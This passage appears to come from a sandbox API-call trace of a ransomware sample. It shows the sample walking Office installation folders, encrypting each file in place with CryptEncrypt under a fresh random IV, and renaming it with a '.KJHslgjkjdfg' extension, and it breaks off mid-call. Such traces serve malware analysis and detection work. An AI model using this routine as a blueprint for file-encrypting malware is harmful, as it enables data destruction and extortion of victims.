lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0169.489] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0169.489] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0169.490] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0169.490] GetProcessHeap () returned 0x2ef0000 [0169.490] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xb0) returned 0x2f170f8 [0169.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0169.492] GetProcessHeap () returned 0x2ef0000 [0169.492] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0169.492] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0169.493] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0169.493] GetProcessHeap () returned 0x2ef0000 [0169.493] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2b2) returned 0x2f3e278 [0169.493] GetProcessHeap () returned 0x2ef0000 [0169.493] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xca) returned 0x2f14588 [0169.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0169.496] GetProcessHeap () returned 0x2ef0000 [0169.496] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0169.496] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0169.496] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0169.497] GetProcessHeap () returned 0x2ef0000 [0169.497] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2cc) returned 0x2f47728 [0169.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.497] GetProcessHeap () returned 0x2ef0000 [0169.497] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.497] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.497] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.497] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xb, lpOverlapped=0x0) returned 1 [0169.500] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.500] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.500] GetProcessHeap () returned 0x2ef0000 [0169.500] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.500] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0169.500] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.500] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0169.500] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.500] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.500] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.500] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.500] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.501] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.501] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.501] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.501] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x545, lpOverlapped=0x0) returned 1 [0169.501] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x550, dwBufLen=0x550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x550) returned 1 [0169.501] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.501] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x550, lpOverlapped=0x0) returned 1 [0169.501] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.501] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.501] SetEndOfFile (hFile=0x118) returned 1 [0169.503] GetProcessHeap () returned 0x2ef0000 [0169.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.503] GetProcessHeap () returned 0x2ef0000 [0169.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.kjhslgjkjdfg")) returned 1 [0169.508] CloseHandle (hObject=0x118) returned 1 [0169.508] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0169.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.509] GetProcessHeap () returned 0x2ef0000 [0169.509] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.509] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.509] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.510] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xd, lpOverlapped=0x0) returned 1 [0169.511] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.511] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.511] GetProcessHeap () returned 0x2ef0000 [0169.511] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.511] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0169.511] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.511] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0169.511] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.511] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.512] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.512] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.512] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.512] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.512] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.512] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.512] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x333, lpOverlapped=0x0) returned 1 [0169.512] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x340, dwBufLen=0x340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x340) returned 1 [0169.512] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.512] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x340, lpOverlapped=0x0) returned 1 [0169.513] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.513] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.513] SetEndOfFile (hFile=0x118) returned 1 [0169.513] GetProcessHeap () returned 0x2ef0000 [0169.513] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.513] GetProcessHeap () returned 0x2ef0000 [0169.513] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.kjhslgjkjdfg")) returned 1 [0169.514] CloseHandle (hObject=0x118) returned 1 [0169.514] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.516] GetProcessHeap () returned 0x2ef0000 [0169.516] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.516] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.516] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.516] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.516] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.516] GetProcessHeap () returned 0x2ef0000 [0169.516] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0169.516] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0169.516] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.516] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0169.519] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.519] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.519] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.519] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.519] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.519] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.519] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.519] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.519] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0xa40, lpOverlapped=0x0) returned 1 [0169.520] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xa40, dwBufLen=0xa40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xa40) returned 1 [0169.520] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.520] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0xa40, lpOverlapped=0x0) returned 1 [0169.520] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.520] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.520] SetEndOfFile (hFile=0x118) returned 1 [0169.520] GetProcessHeap () returned 0x2ef0000 [0169.520] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0169.520] GetProcessHeap () returned 0x2ef0000 [0169.520] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0169.521] CloseHandle (hObject=0x118) returned 1 [0169.521] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.521] GetProcessHeap () returned 0x2ef0000 [0169.521] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.521] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.521] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, 